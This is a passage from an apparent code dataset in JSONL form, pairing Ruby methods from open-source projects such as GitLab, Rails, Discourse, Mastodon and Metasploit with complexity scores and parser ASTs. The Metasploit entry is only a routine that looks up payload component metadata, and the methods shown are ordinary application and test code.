secs\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"unlocked\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UNLOCK_SCRIPT\"]},\"eval\",{\"type\":\"send\",\"children\":[null,\"redis\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prefixed_key\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expire_time\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unlocked\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_time\"]},\"<=\",{\"type\":\"lvar\",\"children\":[\"expire_time\"]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"str\",\"children\":[\"the redis key appears to have been tampered with before expiration\"]}]},null]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"97701458-1768-45a2-ac84-7900205f49de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/refresh_authorized_projects_service.rb","start_line":95,"raw_source":"def log_refresh_details(remove, add)\n      Gitlab::AppJsonLogger.info(\n        event: 'authorized_projects_refresh',\n        user_id: user.id,\n        'authorized_projects_refresh.source': source,\n        'authorized_projects_refresh.rows_deleted_count': remove.length,\n        'authorized_projects_refresh.rows_added_count': add.length,\n        # most often there's only a few entries in remove and add, but limit it to the first 5\n        # entries to avoid flooding the logs\n        'authorized_projects_refresh.rows_deleted_slice': remove.first(5),\n        'authorized_projects_refresh.rows_added_slice': add.first(5).map(&:values),\n        **@duration_statistics\n      )\n    end","complexity_score":13.15,"ast_json":"{\"type\":\"def\",\"children\":[\"log_refresh_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"remove\"]},{\"type\":\"arg\",\"children\":[\"add\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppJsonLogger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"str\",\"children\":[\"authorized_projects_refresh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorized_projects_refresh.source\"]},{\"type\":\"send\",\"children\":[null,\"source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorized_projects_refresh.rows_deleted_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remove\"]},\"length\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorized_projects_refresh.rows_added_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"add\"]},\"length\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorized_projects_refresh.rows_deleted_slice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remove\"]},\"first\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorized_projects_refresh.rows_added_slice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"add\"]},\"first\",{\"type\":\"int\",\"children\":[5]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]}]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@duration_statistics\"]}]}]}]}]}","id":"75cf6277-7090-4c1b-a468-9e5f363af1a3"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/parser.rb","start_line":114,"raw_source":"def configure(conf)\n        super\n\n        @time_parser = time_parser_create\n        @type_converters = build_type_converters(@types)\n        @execute_convert_values = @type_converters || @null_value_pattern || @null_empty_string\n        @timeout_checker = if @timeout\n                             class << self\n                               alias_method :parse_orig, :parse\n                               alias_method :parse, :parse_with_timeout\n                             end\n                             TimeoutChecker.new(@timeout)\n                           else\n                             nil\n                           end\n      end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@time_parser\",{\"type\":\"send\",\"children\":[null,\"time_parser_create\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type_converters\",{\"type\":\"send\",\"children\":[null,\"build_type_converters\",{\"type\":\"ivar\",\"children\":[\"@types\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@execute_convert_values\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type_converters\"]},{\"type\":\"ivar\",\"children\":[\"@null_value_pattern\"]}]},{\"type\":\"ivar\",\"children\":[\"@null_empty_string\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@timeout_checker\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timeout\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"sclass\",\"children\":[{\"type\":\"self\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alias_method\",{\"type\":\"sym\",\"children\":[\"parse_orig\"]},{\"type\":\"sym\",\"children\":[\"parse\"]}]},{\"type\":\"send\",\"children\":[null,\"alias_method\",{\"type\":\"sym\",\"children\":[\"parse\"]},{\"type\":\"sym\",\"children\":[\"parse_with_timeout\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimeoutChecker\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@timeout\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"0b200f55-54be-49d2-9ece-30cf5c7f016e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240403020614_prepare_tmp_backfill_index_for_pipeline_ids_to_vulnerability_occurrences.rb","start_line":22,"raw_source":"def down\n    unprepare_async_index TABLE_NAME, INITIAL_PIPELINE_COLUMNS, name: INITIAL_PIPELINE_INDEX,\n      where: 'initial_pipeline_id IS NULL'\n    unprepare_async_index TABLE_NAME, LATEST_PIPELINE_COLUMNS, name: LATEST_PIPELINE_INDEX,\n      where: 'latest_pipeline_id IS NULL'\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unprepare_async_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"INITIAL_PIPELINE_COLUMNS\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INITIAL_PIPELINE_INDEX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"initial_pipeline_id IS NULL\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"unprepare_async_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"LATEST_PIPELINE_COLUMNS\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"LATEST_PIPELINE_INDEX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"latest_pipeline_id IS NULL\"]}]}]}]}]}]}","id":"8bbc8fbf-ed32-482a-a8e2-6ea3e6e44010"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":340,"raw_source":"def size\n        if Feature.enabled?(:use_repository_info_for_repository_size)\n          repository_info_size_megabytes\n        else\n          kilobytes = gitaly_repository_client.repository_size\n          (kilobytes.to_f / 1024).round(2)\n        end\n      end","complexity_score":11.85,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"use_repository_info_for_repository_size\"]}]},{\"type\":\"send\",\"children\":[null,\"repository_info_size_megabytes\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"kilobytes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_repository_client\"]},\"repository_size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kilobytes\"]},\"to_f\"]},\"/\",{\"type\":\"int\",\"children\":[1024]}]}]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"7727f481-d8e8-46f8-b4d6-a2365b121b88"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-local-dates/spec/system/rich_editor_extension_spec.rb","start_line":14,"raw_source":"def open_composer_and_toggle_rich_editor\n    page.visit \"/new-topic\"\n    expect(composer).to be_opened\n    composer.toggle_rich_editor\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"open_composer_and_toggle_rich_editor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"str\",\"children\":[\"/new-topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"composer\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_opened\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"composer\"]},\"toggle_rich_editor\"]}]}]}","id":"404b0a24-3c36-408d-a50a-4e604cd6b4ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/tasks/ci/job_tokens_task.rb","start_line":234,"raw_source":"def build_categorized_documentation(routes)\n        grouped_routes = group_routes_by_category_simple(routes)\n\n        grouped_routes.map.with_index do |(category, category_routes), index|\n          section = build_category_section(category, category_routes)\n          section += \"\\n\" unless index == grouped_routes.size - 1\n          section\n        end.join(\"\\n\")\n      end","complexity_score":23.15,"ast_json":"{\"type\":\"def\",\"children\":[\"build_categorized_documentation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"routes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"grouped_routes\",{\"type\":\"send\",\"children\":[null,\"group_routes_by_category_simple\",{\"type\":\"lvar\",\"children\":[\"routes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_routes\"]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]},{\"type\":\"arg\",\"children\":[\"category_routes\"]}]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"section\",{\"type\":\"send\",\"children\":[null,\"build_category_section\",{\"type\":\"lvar\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"category_routes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped_routes\"]},\"size\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"section\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvar\",\"children\":[\"section\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"46b6a407-8f0b-49fe-b27e-38c0dfb2bf53"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb","start_line":254,"raw_source":"def as_options(value)\n          value.is_a?(Hash) ? value : {}\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"as_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"a55dadf7-eb77-43c5-a082-c0e5b2163f14"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/vendor/smocker/smocker_api.rb","start_line":55,"raw_source":"def ready?\n          QA::Runtime::Logger.debug 'Checking Smocker readiness'\n          get(\"#{admin_url}/version\")\n          true\n          # rescuing StandardError because RestClient::ExceptionWithResponse isn't propagating\n        rescue StandardError => e\n          QA::Runtime::Logger.debug \"Smocker not ready yet \\n #{e}\"\n          false\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ready?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Checking Smocker readiness\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"admin_url\"]}]},{\"type\":\"str\",\"children\":[\"/version\"]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Smocker not ready yet \\n \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"02f41786-9f80-4d17-9542-129d3f6a21f9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/principals/filters/internal_mentionable_on_work_package_filter.rb","start_line":55,"raw_source":"def apply_to(query_scope)\n    case operator\n    when \"=\"\n      query_scope.where(id: project_members.select(:user_id))\n    when \"!\"\n      query_scope.where.not(id: project_members.select(:user_id))\n    end\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_scope\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_members\"]},\"select\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_scope\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_members\"]},\"select\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}]},null]}]}","id":"788f59fb-5cf5-4b02-b953-47d294501435"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/tool.rb","start_line":73,"raw_source":"def name\n          self.class.name\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]}","id":"efcf7994-ed9a-492d-ab45-4a232cb93103"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/mutes_controller.rb","start_line":19,"raw_source":"def paginated_mutes\n    @paginated_mutes ||= Mute.eager_load(target_account: [:account_stat, :user])\n                             .joins(:target_account)\n                             .merge(Account.without_suspended)\n                             .where(account: current_account)\n                             .paginate_by_max_id(\n                               limit_param(DEFAULT_ACCOUNTS_LIMIT),\n                               params[:max_id],\n                               params[:since_id]\n                             )\n  end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"paginated_mutes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@paginated_mutes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mute\"]},\"eager_load\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_account\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_stat\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"target_account\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"without_suspended\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[null,\"current_account\"]}]}]}]},\"paginate_by_max_id\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_ACCOUNTS_LIMIT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"since_id\"]}]}]}]}]}","id":"dcffb481-c307-41bd-a7da-80f3792bdc4d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload_set.rb","start_line":401,"raw_source":"def load_payload_component(payload_type, refname)\n    payload_type_cache, folder_name = case payload_type\n                                      when Payload::Type::Single\n                                        [_singles, 'singles']\n                                      when Payload::Type::Stage\n                                        [_stages, 'stages']\n                                      when Payload::Type::Stager\n                                        [_stagers, 'stagers']\n                                      when Payload::Type::Adapter\n                                        [_adapters, 'adapters']\n                                      else\n                                        raise ArgumentError(\"Invalid payload type: #{payload_type}\")\n                                      end\n\n    payload_component_info = payload_type_cache[refname]\n    unless payload_component_info\n      raise Msf::MissingPayloadError, \"#{refname} is not available\"\n    end\n\n    payload_component_info\n  end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"load_payload_component\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload_type\"]},{\"type\":\"arg\",\"children\":[\"refname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_type_cache\"]},{\"type\":\"lvasgn\",\"children\":[\"folder_name\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payload\"]},\"Type\"]},\"Single\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_singles\"]},{\"type\":\"str\",\"children\":[\"singles\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payload\"]},\"Type\"]},\"Stage\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_stages\"]},{\"type\":\"str\",\"children\":[\"stages\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payload\"]},\"Type\"]},\"Stager\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_stagers\"]},{\"type\":\"str\",\"children\":[\"stagers\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payload\"]},\"Type\"]},\"Adapter\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_adapters\"]},{\"type\":\"str\",\"children\":[\"adapters\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"ArgumentError\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid payload type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_type\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_component_info\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_type_cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"refname\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_component_info\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"MissingPayloadError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refname\"]}]},{\"type\":\"str\",\"children\":[\" is not available\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"payload_component_info\"]}]}]}","id":"8db7183b-1262-4e89-b030-4798e9a12dc5"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/filter_test.rb","start_line":153,"raw_source":"def test_override_object_method_in_filter\n    assert_equal(\"tap overridden\", Template.parse(\"{{var | tap}}\").render!({ 'var' => 1000 }, filters: [OverrideObjectMethodFilter]))\n\n    # tap still treated as a non-existent filter\n    assert_equal(\"1000\", Template.parse(\"{{var | tap}}\").render!('var' => 1000))\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_override_object_method_in_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"tap overridden\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{var | tap}}\"]}]},\"render!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"var\"]},{\"type\":\"int\",\"children\":[1000]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OverrideObjectMethodFilter\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1000\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{var | tap}}\"]}]},\"render!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"var\"]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]}]}]}","id":"62a42805-08fc-4e21-80b5-f6d62fbeddc4"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/base.rb","start_line":36,"raw_source":"def cancel\n        find(\".d-modal-cancel\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".d-modal-cancel\"]}]},\"click\"]}]}","id":"f6072751-e84e-4f84-aa0c-eec2de31794f"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/haml-spec/ugly_test.rb","start_line":518,"raw_source":"def test_html_style_tag_with_a_CSS_class_and_class_as_a_variable_attribute\n      haml    = %q{.hello(class=var)}\n      html    = %q{<div class='hello world'></div>}\n      locals  = {:var=>\"world\"}\n      options = {}\n      haml_result = UglyTest.haml_result(haml, options, locals)\n      assert_equal html, haml_result\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_html_style_tag_with_a_CSS_class_and_class_as_a_variable_attribute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"haml\",{\"type\":\"str\",\"children\":[\".hello(class=var)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"str\",\"children\":[\"<div class='hello world'></div>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"str\",\"children\":[\"world\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"haml_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UglyTest\"]},\"haml_result\",{\"type\":\"lvar\",\"children\":[\"haml\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"lvar\",\"children\":[\"haml_result\"]}]}]}]}","id":"b70db69d-2122-4742-8eac-7ac0712a37e0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/support/git_access_actor.rb","start_line":40,"raw_source":"def key_or_user\n        key || user\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"key_or_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}","id":"3364aaa1-6cc8-4e04-9788-acdf9376c30b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/asset_tag_helper.rb","start_line":449,"raw_source":"def image_tag(source, options = {})\n        options = options.symbolize_keys\n        check_for_image_tag_errors(options)\n        skip_pipeline = options.delete(:skip_pipeline)\n\n        options[:src] = resolve_asset_source(\"image\", source, skip_pipeline)\n\n        if options[:srcset] && !options[:srcset].is_a?(String)\n          options[:srcset] = options[:srcset].map do |src_path, size|\n            src_path = path_to_image(src_path, skip_pipeline: skip_pipeline)\n            \"#{src_path} #{size}\"\n          end.join(\", \")\n        end\n\n        options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]\n\n        options[:loading] ||= image_loading if image_loading\n        options[:decoding] ||= image_decoding if image_decoding\n\n        tag(\"img\", options)\n      